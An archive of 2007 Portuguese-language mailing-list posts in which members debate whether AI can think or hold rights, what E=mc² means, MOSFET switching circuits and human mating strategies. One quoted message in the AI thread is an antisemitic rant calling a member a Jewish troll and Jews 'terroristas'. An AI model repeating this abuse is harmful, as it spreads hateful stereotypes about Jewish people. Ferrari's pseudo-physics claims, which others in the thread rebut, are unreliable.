Sílvio: Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

Victor: Mas é só idéia. Nem mais nem menos que isso.
A implementação de algo assim
não demandaria, sequer, um tempo infinito! Apesar de meu respeito
pela ciência e ter conhecimento dos desenvolvimentos do ramo científico
Inteligência Artificial, não vislumbro coisas a nível do que expressa a
frase
objeto destas poucas e mal traçadas linhas. Vislumbro, sim, como ora já
acontece,
o uso da I.A para controles cada vez mais sofisticados, cada vez mais
sofisticados,
cada vez mais... Mas é só. E olha que não sou espiritualista, que nega tais
coisas pela simples
razão de que, assim, o homem estaria fazendo o mesmo que God. Que disparate,
sô!
Minhas razões disso nada têm.
Já pensou como seria interessantse um fórum, de nome "Ciencyborg", criado
por CyBrudna,
cujos participantes fossem todos robôs? Que discutissem assim, como os
do Ciencialist? Com direito a coisas prá lá de úteis, inteligentes e
interessantes,
seja a nível de contestatações, seja a nível de defesas, ou mesmo a nível
das besteiradas que, vez ou outra
mais vez do que outra, ultimamente, surgem? Tais robôs seriam incapazes
até mesmo de, sem uma programação
específica, discernirem e praticarem asnices. Ou alguém faz a sintaxe
correta, sem um mero pontinho a mais ou a menos
ou nada funciona.
Adoraria presenciar um discussão intelectual de um desses sobre as o
Discurso do Método, Esquesitices do óbvio,
um enfrentamento das idéias do Alberto Mesquita, ou mesmo um embate poético
com um Catulo da Paixão Cearense,
uma "simples" cantoria com um destes cantadores do Nordeste, como o meu pai
ou o Pinto do Monteiro(ambos falecidos), entre outros exemplos. Ah, bota
ele prá discutir com Ferrari, bota! Prá ver se não espirra sangue(digo,
óleo) e fumaça por todo canto!
Só não por alí, que por alí nem teria. Quem já viu Cyborg que se preze com
"por alí", ora!
Olha, as engrenagens do bicho se engriparão nos primeiros minutos.
Pago prá ver, se estou dizendo asnices(que seriam incapazes de dizerem,
"conscientemente"). E, se pagar, complementarei a dívida plantando
"baneira", em praça pública, sem
zorba, com uma vela pingando na direção da linha reta que passa pelo centro
da cabeça.
Tinha muita graça!

Sds,
Victor.



----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, May 05, 2007 7:33 PM
Subject: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO


Mestre Takata:

Peço seu abalizado parecer nesta questão.

sds.,

silvio.
----- Original Message -----
From: Pesky Bee
To: Acropolis_@yahoogrupos.com.br
Sent: Friday, May 04, 2007 5:36 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO



Putz, constantor, começou dizendo que concorda mas logo
em seguida discorda. A questão é encarar os neurônios
biológicos como processos físicos que manipulam informação.
Sob esse aspecto, neurônios ou transístores, não importa,
são processos físicos processando informação. E pode ser
que você reclame de eu ser um reducionista do caralho,
mas afetividade, intuição e imaginação podem ser reduzidos,
em última instância, à atividade neural. Hoje não sabemos
em detalhes como isso opera, mas sabemos que não parece
haver nada "além de neurônios" no pensamento e sentimento
humanos (e quem estuda neurociência sabe disso desde o
primeiro momento). Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

*PB*


----- Original Message -----
From: constantor
To: Acropolis_@yahoogrupos.com.br
Sent: Friday, May 04, 2007 3:17 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO


concordo, caro.

mas isto não retira o caráter de simulação que está envolvido na
inteligência artificial. Sempre será uma máquinha que reproduz, por
meio de mecanismos, uma realidade que existe enquanto tal somente no
homem.

E a própria idéia de reduzir à inteligência humana a uma mera
calculadora demonstra isto. Vamos dizer que o homem seja apenas esta
dinãmica enloquecida empreendida pelos neurônios. Esta dinâmica gera
coisas em nõs, que uma calculadora gigante não reproduz. Como eu
estava falando com o John, a racionalidade humana não e´despida dos
elementos de afetividade, intuição, imaginação, e vários estados de
consciencia que só nós vivenciamos. Máquinhas fazem cálculos somente.

--- Em Acropolis_@yahoogrupos.com.br, "Pesky Bee" <peskybee2@...>
escreveu
>
> E o cérebro biológico estará meramente fazendo um bando
> de neurônios dispararem loucamente. Basta usarmos um
> nível de análise diferente para máquinas e cérebros
> serem muito dissimilares. Agora, se nos fixarmos em um
> mesmo nível (e falarmos em, por exemplo, "estados mentais",
> representação de informação, conceituação, heurística, etc.)
> podemos melhor compará-los. Inteligência artificial só pode
> ser entendida se houver comparação no mesmo nível de
> análise. Capiche?
>
> *PB*
>
>
>
> ----- Original Message -----
> From: constantor
> To: Acropolis_@yahoogrupos.com.br
> Sent: Friday, May 04, 2007 2:16 PM
> Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO
E EUNUCO
>
>
> Olha o salto Pesky.
>
> O computador estará fazendo cálculos matemáticos.
>
> Ponto.
>
> --- Em Acropolis_@yahoogrupos.com.br, "Pesky Bee" <peskybee2@>
> escreveu
> >
> > Essa questão de imitar ou não é mais complexa do que isso.
> > Um robô mecânico como o Asimo pode ser dito como "imitando"
> > o andar humano. Mas uma calculadora que multiplique 2 * 2
> > não estará imitando uma computação que fazemos mentalmente:
> > estará *fazendo* essa computação (com heurística diferente,
> > mas estará). A diferença fundamental é que um furacão pode
> > ser simulado em um computador (e a simulação pode "destelhar"
> > casas virtuais; obviamente ninguém confundiria isso com a
> > realidade), mas um robô que pensa não estará "imitando" nosso
> > pensar: ele estará realmente pensando.
> >
> > *PB*
> >
> >
> >
> > ----- Original Message -----
> > From: constantor
> > To: Acropolis_@yahoogrupos.com.br
> > Sent: Thursday, May 03, 2007 10:12 PM
> > Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E EUNUCO
> >
> >
> > Animais naõ imitam, possuem o atributo vida. Alguns animais
> imitam
> > atributos que não possuem, como o papagaio. Máquinas também
> podem
> > imitar o raciocínio lógico matemático, mas a subjetividade não
> se
> > reduz a isto.
> >
> > --- Em Acropolis_@yahoogrupos.com.br, "John C"
> > <johnconstantine2@> escreveu
> > >
> > > Olá
> > >
> > >
> > >
> > > Um dos atributos da pessoa humana é a vida. Animais imitam a
> vida?
> > >
> > >
> > >
> > > Qual a diferença entre possuir um atributo e imita-lo? Tal
> coisa é
> > possível?
> > > Posso imitar o Superman voando?
> > >
> > >
> > >
> > > _____
> > >
> > > De: Acropolis_@yahoogrupos.com.br
> > [mailto:Acropolis_@yahoogrupos.com.br] Em
> > > nome de constantor
> > > Enviada em: quinta-feira, 3 de maio de 2007 16:25
> > > Para: Acropolis_@yahoogrupos.com.br
> > > Assunto: Re: RES: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -

> > HOMERO E
> > > EUNUCO
> > >
> > >
> > >
> > > Porque, dado que não são pessoas, eles não possuem estes
> > atributos,
> > > apenas os imitam.
> > >
> > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br, "John C"
> > > <johnconstantine2@> escreveu
> > > >
> > > > Olá
> > > >
> > > >
> > > >
> > > > E que direitos possuímos enquanto pessoas que não
possuímos
> > > enquanto
> > > > animais? E por que?
> > > >
> > > >
> > > >
> > > > Suponhamos quem sejamos pessoas por possuir os atributos
X,
> Y e
> > Z.
> > > Se para
> > > > cada atributo possuímos uma dada classe de direitos, por
que
> > seres
> > > outros
> > > > que possuam um desses atributos não podem ter a mesma
classe
> de
> > > direitos?
> > > > Que atributo humano nos dá o direito ao voto, por exemplo?
> Se
> > uma
> > > máquina
> > > > tiver esse atributo, ela não poderia votar?
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > > _____
> > > >
> > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br
> > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br] Em
> > > > nome de constantor
> > > > Enviada em: quinta-feira, 3 de maio de 2007 15:50
> > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br
> > > > Assunto: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO
> > E
> > > EUNUCO
> > > >
> > > >
> > > >
> > > > Se não são pessoas, não há porque dar a elas direitos que
> > > possuímos
> > > > enquanto pessoas. Alguma proteção jurídica elas vão ter.
Mas
> aí,
> > > até
> > > > nossos animais domésticos têm.
> > > >
> > > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br, "John C"
> > > > <johnconstantine2@> escreveu
> > > > >
> > > > > Olá
> > > > >
> > > > >
> > > > >
> > > > > Sim, isso é certo e me parece indiscutível: máquinas não
> são e
> > > não
> > > > serão
> > > > > pessoas. A questão é por que somente as pessoas humanas
> devem
> > > ter
> > > > certos
> > > > > direitos? Burros não são pessoas e nem por isto
> consideramos
> > > certo
> > > > jogá-los
> > > > > num tanque de ácido. Por que direitos não poderiam ser
> dados a
> > > > máquinas que,
> > > > > vistas de fora, possuam consciência? (ou ajam tal qual,
o
> que
> > dá
> > > > na mesma,
> > > > > já que não podemos dizer que nosso vizinho possui
> consciência
> > > > também)
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > Se uma máquina for capaz de escolher, por que não puni-
la
> por
> > > uma
> > > > dada
> > > > > atitude?
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _____
> > > > >
> > > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br] Em
> > > > > nome de constantor
> > > > > Enviada em: quarta-feira, 2 de maio de 2007 17:40
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Assunto: Re: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E
> > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > É tão óbvia a má fé do Eurico e tão intensa sua solidão
em
> > > relação
> > > > aos seus
> > > > > pares, que ele tem de distorcer conscientemente as
> afirmações
> > > dos
> > > > outros a
> > > > > fim de poder considerar as máquinas dentre as quais vive
> como
> > > seres
> > > > > iguaizinhos a ele.
> > > > >
> > > > >
> > > > >
> > > > > Ninguém disse que não há pesquisa, experimentos e
esforços
> > rumo a
> > > > > Inteligência Artificial. O que se está afirmando é que
> esta,
> > > mesmo
> > > > que um
> > > > > dia venha a ser construída, não é uma pessoa.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > ----- Original Message -----
> > > > >
> > > > > From: Eurico <mailto:caodejah@> Ferreira de Souza Jr.
> > > > >
> > > > > To: Acropolis_@yahoogru <mailto:Acropolis_@yahoogru
> > > > <mailto:Acropolis_%40yahoogrupos.com.br> pos.com.br>
> > > > pos.com.br
> > > > >
> > > > > Sent: Wednesday, May 02, 2007 8:23 AM
> > > > >
> > > > > Subject: Res: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO E
> > > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > [E]> é tão óbvia a má-fé do troll judeu, atacando
> > exaustivamente
> > > > > quem zela pela racionalidade e coerência filosófica que

> dó.
> > > > > Uns terroristas safados que não querem permitir o
trabalho
> > > > filosófico
> > > > > aos gentios e ficam enchendo a lista de merda religiosa.
> > > > > Pra eles o importante é tumultuar e evitar o
> esclarecimento,
> > > > > nem que, pra isso, tenham que cair no mais completo
> ridículo
> > > > indecente.
> > > > > Um dá carteirada de judeu, mas se lembramos esse fato,
fica
> > > > > ofendido, o outro se converteu ao cristianismo pra não
dar
> tão
> > > na
> > > > cara.
> > > > > Querem que sejamos cristãos sem pensamento critico,
> > > > > trabalhadores braçais sem ciência e tecnologia, patriotas
> > > > > sem consciência política, usuários de windows, desunidos
> > > > > e desorientados porque o papai do céu escolheu um povo
> > > > > e prometeu a terra (junto com os não escolhidos) pra
eles.
> > > > >
> > > > > Inteligência Artificial não é ficção científica: vou ter
> essa
> > > > matéria
> > > > > no ano que vem! (a keyword pra quem quer saber mais é
> prolog)
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1024>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1024
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1034>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1034
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1040>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1040
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _\|/_
> > > > >
> > > > >
> > > > >
> > > > > ----- Mensagem original ----
> > > > > De: Victor Molina -BR <victormolinabr@>
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Enviadas: Quarta-feira, 2 de Maio de 2007 1:06:10
> > > > > Assunto: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E
> EUNUCO
> > > > >
> > > > > É tão óbvia, mas tão óbvia a razão de porque o Homero e
o
> > Eunuco
> > > > são
> > > > > entusiastas da inteligência artificial, que acabamos não
> nos
> > > dando
> > > > conta,
> > > > > ora. É simples: a inteligência artificial é a única
> esperança
> > > dos
> > > > dois de
> > > > > adquirirem algum tipo de inteligência. :-)
> > > > >
> > > > >
> > > > >
> > > > > __.
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> > > > > __________ Informação do NOD32 IMON 2113 (20070313)
> __________
> > > > >
> > > > > Esta mensagem foi verificada pelo NOD32 sistema antivírus
> > > > > http://www.eset. <http://www.eset. <http://www.eset.
> > > <http://www.eset.com.br> com.br>
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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/05/2007 07:30

Ola Alvaro!

Alvaro >>> Qualquer professor decente de física sabe
que eletricidade e elétrons são coisas diferentes.

--- Exatamente! Mas são inseparáveis, não é mesmo? É
por isto que dou o exemplo do líquedo e do molhado.
Conhecemos o líquedo (matéria) atraves do molhado
(atributo), e não o oposto. Aqui estou afirmando que o
conhecimento (atributo) surgue com a medição
(observação). Então, estou dizendo que conhecemos o
elétron (matéria) através da eletricidade (atributo).
Não medimos (observamos) o eletron, medimos uma
manifestação, não é mesmo? Não conhecemos o eletron
através de uma medição (observação) direta, mas
através da medição de sua manifestação, através da
eletricidade, Ou seja, o eletron é uma suposição
baseada na observação da eletricidade, é uma teoria,
uma maneira de raciocinar o fenomeno, concorda?

--- Sendo assim, o que estou dizendo é que podemos
raciocinar o fenomeno da relação entre energia e
matéria, e que está descrito na equação (raciocinio)
e=mc2, não como "deslocamento da matéria" em C2, mas
sim como um "pulsar da materia" em C2. É isto!

--- Se voce, ou qualquer pessoa, entender que estou
errando (equivocado) em propor tal raciocinio para a
relação entre matéria e energia e para e=mc2, fico
muito grato em saber porque. Estou debatendo aqui, e
usando a equação de Einstein justamente porque não sou
professor de física e estou conversando com os
professores. Quando tentei falar uma lingua diferente
desta, fui julgado inconveniente.

Alvaro >>> Você está tentando resolver problemas já
solucionados há muito tempo.

--- Que bom! Se for assim, ficará mais fácil de
traduzir minhas observações e raciocinios para a
linguagem da fisica. Se vc tem a solução e puder me
ajudar, agradeço.



sinceramente
ferrari





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SUBJECT: Re: [ciencialist] Re: Chaveamento com MOSFET IRFZ44N
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/05/2007 08:08

Deu saudades dos tempos em que estudei trabalhei com coisas do tipo.
Fui ao site indicado, que não conhecia, e lá indicaram um simulador que não conhecia:
o Circuit Maker. Na versão demo há 50 dispositivos dsp, inteiramente funcionais,
que dá para fazer muita coisa. Testei a versão. E recomendo para estudantes de
eletrônica. No google, "circuit maker download" fará você chegar lá e baixar muita coisa.
Substitui laboratórios e evita que você fique queimando
os sensíveis mosfets em suas experiências. O Multisim, mesmo na versão full,
não é tão simples e tão interativo quanto. Tempos danados aqueles, que não tinha
as facilidades de hoje. Já se fazem projetos de circuitos eletrônicos mais simplesmente
que nos antigamente. Coisas das eras.

Sds,.
Victor.

----- Original Message -----
From: Tipoalgo
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, May 05, 2007 9:59 PM
Subject: [ciencialist] Re: Chaveamento com MOSFET IRFZ44N


Olá a todos.

O Alexandre Salles do grupo Eletronicabr
(http://br.groups.yahoo.com/group/eletronicabr/messages) deu a dica:

On 5/5/07, Alexandre Salles <salles.eng@...> wrote:
> Os que estão com dreno no positivo da fonte os gates deverão ser
acionados
> com tensão maior que a tensão da fonte para que trabalhem saturados.
>
> Para aciona-los pode-se usar High Voltage Gate Drivers (HVICs) que
> internamente tem "charge-pump" para elevar a tensão no gate. Olhe em
> www.irf.com o IR2111.
>
> até mais,
>
> Alexandre Salles

Outra dica dada pelo Marco Dal Poz:

>Melhor que isso: os que tem source ligado ao GND são MOSFET canal-N,
>os outros 3 deveriam ser MOSFET canal-P com source ligado ao VCC.

Neste caso os pulsos no gate deveriam ser desafados.

Abraços
Tipoalgo





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/05/2007 10:58

Olá, Takata.

> > Na verdade, o que importa mesmo é que o indivíduo seja
reconhecido
> > pela sociedade como filho de um homem de alta hierarquia, seja
ele o
> > verdadeiro pai ou não. Neste caso, seria interessante que o
amante
> > bonito e sedutor (características que parecem ser indicadores de
> > bons genes), ao acasalar com uma mulher de um macho dominante,
> > procurasse enviar espermatozóides Y para fecundá-la. É a
estratégia
> > perfeita.
>
> Primeiro, não existem estratégias perfeitas. Segundo, não é uma boa
> estratégia, pois seu filho teria o mm problema - acabaria criando
> filhos de outros. Se ele tem uma filha, praticamente todos os filhos
> serão delas.

Esse é um dilema. Provavelmente a teoria dos jogos tem algo a falar
sobre isso. A estratégia do amante pode ser bem sucedida. Mas o
problema é que um homem que adote esta estratégia corre o perigo de
que outros também o façam, acasalando com sua esposa. Se os genes que
regulam o comportamento do amante (e da esposa adúltera) se espalham,
o casamento deixa de ser uma boa estratégia evolutiva e a estratégia
do sexo livre se espalha. Aí a sociedade se desloca para o pólo
matrilinear, no qual não é o pai que investe na prole, e sim o irmão
da mãe, que tem garantia de que a prole tem seus genes. Mas como eu
já disse essa estratégia é mais interessante para as mulheres que
para os homens, já que a prole tem apenas 25% de genes de seu tio. É
interessante para a mulher porque ela tem maior liberdade de escolha
com quem irá acasalar, podendo selecionar aqueles de melhores genes.
Em uma sociedade com uma ordem matrimonial rígida a mulher não pode
escolher seus parceiros sexuais, a não ser que o faça na
clandestinidade, quando o marido não estiver vendo. A questão da
escolha da fêmea, que foi tema de discussão de G. F. Miller em sua
longa tese sobre a evolução da mente humana, é bastante complicada.
(Miller procura argumentar que foi a seleção sexual, ou seja, a
escolha da fêmea, que promoveu a evolução de nossa espécie.)

> > Sobre "a tendência endogâmica da alta corte", lembre-se que o
> > paradigma aqui é o do ambiente ancestral.

> E o q o leva a pensar q fosse diferente nos tempos idos?

Realmente existia algum tipo de endogamia, pois os grupos eram muito
pequenos. Mas até onde eu sei hierarquia não tinha nada a ver com
isso. Em algumas culturas, por exemplo, a sociedade se divide em
grupos de dois clãs que trocam mulheres entre si. As vezes o clã A
fornece esposas para o clã B, que fornece esposas para o C, que
fornece esposas para o A. E por aí vai. Existem regras
complicadíssimas, mas em geral elas envolvem grupos pequenos. Mas meu
ponto é: no ambiente ancestral, até onde eu sei, não existia nada
como uma alta corte. Os clãs eram relativamente iguais.

> > Vamos supor que nós somos velhos machos. Para não sairmos no
tapa,
> > nós elaboramos regras de troca de mulheres que dizem quem vai
casar
> > com quem. Você acha que nós iríamos considerar os garotos que
estão
> > acabando de chegar ao mundo, cheios de testosterona, e repartir
as
> > mulheres com eles? É provável que não.

> Se são velhos e temem a confrontação q poderes terão para impor suas
> regras?

É uma questão interessante. Se você olha para uma cultura primitiva,
provavelmente os líderes são homens velhos, já desprovidos de força.
Uma das explicações é que as regras foram forjadas no início dos
tempos, e contrariá-las é ir contra a lei cósmica. (Também era assim
que a nobreza mantinha o seu poder nos tempos pré-modernos.) Outra é
que os mais velhos não têm força, mas tem conhecimento e experiência.
Eles sabem melhor como agir em situações críticas, sabem negociar
melhor com grupos rivais, conhecem os caminhos, lugares e épocas onde
há alimento, e têm melhores habilidades políticas.

> > Nós dizemos para os jovens: A regra (que foi forjada no início da
> > criação) é que você vai casar com a filha da mulher tal, que tem
> > naquele momento uns 16 anos de idade. Isto é, o jovem vai ter que
> > esperar essa menina ter uma filha, que essa filha cresça durante
uns
> > 15 anos, para finalmente ter sua primeira mulher.

> Por q teria q esperar?

Por que é isso o que diz a regra. No ambiente ancestral os contratos
de casamento não eram feitos como na nossa civilização. Existiam
regras que diziam como eles deviam ocorrer.

> > > Não se descarta q houvesse sobra de mulheres ao longo da
evolução
> > humana
> >
> > Isso é algo muito improvável. No ambiente ancestral, a mulher
> > provavelmente era o bem mais precioso que um homem poderia ter. A
> > troca de mulheres entre famílias é um dos principais elementos na
> > formação dos laços sociais. Se o sujeito tem uma filha, ele não
vai
> > deixar ela andando solta por aí.

> Em um ambiente de sobra de mulheres as mulheres não serão o bem mais
> precioso.

Como eu disse, assumindo que a poligamia é o estado natural dos
casamentos, é difícil pensar que pudesse haver sobra de mulheres. É
como dinheiro. Não importa quão rica a sociedade seja, você não vê
dinheiro solto pelas ruas, sem dono. Se a mulher está livre,
sobrando, por que não casar com ela? De acordo com Donald Symons,
talvez o maior especialista em relações sexuais humanas, era muito
improvável que existisse, no ambiente ancestral, mulheres
descompromissadas.

> > É um fato que os homens procuram fazer sexo com um numero de
> > parceiras muito mais elevado que as mulheres. Isso sugere que a
> > estratégia r seja adotada por eles pelo menos em algumas
situações.
>
> A estratégia r ou K não se aplica separadamente a sexos, mas sim a
> populações. Por outro lado, homens não são mais mirrados q as
mulheres
> - grande parte da energia vai para o desenvolvimento do próprio
corpo
> (possivelmente em razão da seleção sexual, o aumento do custo
> individual masculino promovido pela escolha feita pelas mulheres -
> diminuindo a diferença de investimento de recursos na prole).

Desculpe, mas não entendi seu argumento.

Um abraço.
João de Carvalho




SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/05/2007 12:44

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Exatamente! Mas são inseparáveis, não é mesmo?

Não, não são inseparáveis. Vc pode conduzir energia elétrica na
*ausência* de elétrons - em um aglomerado de prótons, por exemplo.

> --- Sendo assim, o que estou dizendo é que podemos
> raciocinar o fenomeno da relação entre energia e
> matéria, e que está descrito na equação (raciocinio)
> e=mc2, não como "deslocamento da matéria" em C2, mas
> sim como um "pulsar da materia" em C2. É isto!

Novamente, E = m.c2 não tem nenhuma relação com "pulsar" da matéria. A
matéria pode estar completamente parada - sem pulsar - q ainda assim
ela possui energia, na "forma" de massa. E é isso q a fórmula mostra.

Um carro pode ficar na garagem e não precisa ficar pulando para ter
uma energia q corresponda a E = m.c2 - basta ter massa.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/05/2007 17:14

Olá Takata!

Takata >>> Vc pode conduzir energia elétrica na
*ausência* de elétrons - em um aglomerado de prótons,
por exemplo.

--- Estranho! Eletricidade não é fluxo eletronico?
Como pode um fluxo de protons ser um fluxo eletronico?

Takata >>> E = m.c2 não tem nenhuma relação com
"pulsar" da matéria.

--- Isto é o que vc defende. Eu defendo que tem
relação sim. E que C2, por se tratar de velocidade, é
a parte da equação que trata disto.

Takata >>> A matéria pode estar completamente parada
sem pulsar - q ainda assim ela possui energia, na
"forma" de massa.

--- Sim, é isto mesmo! Concordo com voce. Agora, vc
não concorda comigo, porque embora eu entenda o seu
conceito (raciocinio) de matéria, vc não entende o
meu. Por exemplo, pra vc, espaço é imaterial, pra mim
não é imaterial, é imperceptivel. Pra voce, matéria é
feita de particulas, pra mim não é, matéria é uma
substancia indivisivel. Sendo assim, o que vc chama de
massa (particula) na visão que tenho e proponho é um
pulso da matéria, é uma deformação da matéria, uma
onda no mar da matéria. É por isto que a massa
(particula) mesmo parada (sem deslocamento), possui
energia, pois pulsa no mesmo lugar.

Takata >>> E é isso q a fórmula mostra.

--- Discordo. Esta é a sua leitura do que a formula
mostra. E é uma das leitura possiveis. Eu estou
propondo e investigando outra leitura.

Takata >>> Um carro pode ficar na garagem e não
precisa ficar pulando para ter uma energia q
corresponda a E = m.c2 - basta ter massa.

--- Takata, lembra que vc me deu o exemplo do som se
propagando por uma bara de ferro? Pois então, estou
defendendo que a massa em (m.c2) não pula, e a energia
não é de deslocamento fisico (pulo), é vibração, assim
como o som. Estou defendendo que a matéria é o meio
pelo qual a energia se propaga em ondas. Aliás, acho
que acabei de entender a questão do C2. Hoje estou em
São Paulo, mas preciso sair, assim que voltar escrevo
mais sobre isto.



sinceramente
ferrari





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SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/05/2007 18:30

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Vc pode conduzir energia elétrica na
> *ausência* de elétrons - em um aglomerado de prótons,
> por exemplo.
>
> --- Estranho! Eletricidade não é fluxo eletronico?
> Como pode um fluxo de protons ser um fluxo eletronico?

Nada de estranho, apenas desconhecimento por sua parte. Eletricidade é
o estudo dos fenômenos elétricos. E os fenômenos elétricos estão
ligados à presença de cargas elétricas. Não são apenas elétrons q
possuem cargas elétricas. Os elétrons possuem um tipo de carga
elétrica - a negativa (de valor unitário). Os prótons possuem outro
tipo de carga elétrica - a positiva (tb de valor unitário).

> Takata >>> E = m.c2 não tem nenhuma relação com
> "pulsar" da matéria.
>
> --- Isto é o que vc defende. Eu defendo que tem
> relação sim. E que C2, por se tratar de velocidade, é
> a parte da equação que trata disto.

Não é apenas o q eu defendo. É o q significa o E = m.c2. Pegue uma
porção de matéria com massa "xis", sem qq tipo de pulsação. Ainda
assim ela tem energia associada, no valor de E = xis.c2.

> meu. Por exemplo, pra vc, espaço é imaterial, pra mim
> não é imaterial, é imperceptivel. Pra voce, matéria é
> feita de particulas, pra mim não é, matéria é uma
> substancia indivisivel.

O q é ou não matéria, como a matéria se comporta ou não, independe do
q *vc* ache q seja ou não matéria. Na verdade tb independe do q eu ou
os cientistas achem. O q os cientistas fazem é achar de acordo com os
reais comportamentos da matéria.

O processo científico é assim contrário ao seu.

Pra vc, primeiro vc define arbitrariamente as coisas e aí tenta fazer
com q a natureza se encaixe e se comporte de acordo com os seus conceitos.

Em ciências, mm q se parte de conceitos preestabelecidos, tais
conceitos são refeitos à luz dos experimentos - a natureza é soberana
nesse aspecto.

Só uma amostra de como a sua conceituação de matéria é problemática.
Um carro é material. Um carro pode ser dividido em várias partes.

Para substância indivisível já existe um nome: "átomo primordial".

> Takata >>> E é isso q a fórmula mostra.
>
> --- Discordo. Esta é a sua leitura do que a formula
> mostra. E é uma das leitura possiveis. Eu estou
> propondo e investigando outra leitura.

Discorde o qto quiser, não muda as coisas. A fórmula tto independe de
pulsações q nem sequer há o fator pulsação na fórmula - apenas massa e
uma constante.

Se quiser mudar a fórmula vá em frente. Apenas q pra demonstrar q sua
nova fórmula está correta, vc precisará fazer experimentos q fornece
resultados experimentais incompatíveis com a antiga fórmula e
condizentes com a sua.

> Estou defendendo que a matéria é o meio pelo qual a energia se
> propaga em ondas.

Apenas ondas mecânicas necessitam de meio material para se propagar.
Vc está no mínimo uns 100 anos atrasados na discussão, afinal o éter
luminífero entrou em ocaso com o experimento de Michaelson e Morley (e
varrido para a lata de lixo da história com exatamente as
interpretações de Einstein).

[]s,

Roberto Takata



SUBJECT: Material, imaterial e amaterial/Era Re: E=m.c2
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/05/2007 20:08

Ois,

Ferrari: Estou defendendo que a matéria é o meio pelo qual a energia
se propaga em ondas.

Manuel: Primeiro, vamos esclarecer a questão: a Matéria, do ponto de
vista filosófico (que não se confunde com a ótica da Física, que
estabelece uma diferença entre matéria e energia) é tão-somente o
conceito que designa a realidade objetiva que se contrapõe ao
Sujeito, à Consciência. "Materialista" é quem defende que essa
realidade objetiva é anterior a qualquer forma de consciência, que
subsiste independentemente dela e que deu origem a ela (i.e., à
consciência). Ponto final (este conceito filosófico de Matéria
abrange a matéria comum, a matéria escura, os fótons - que não
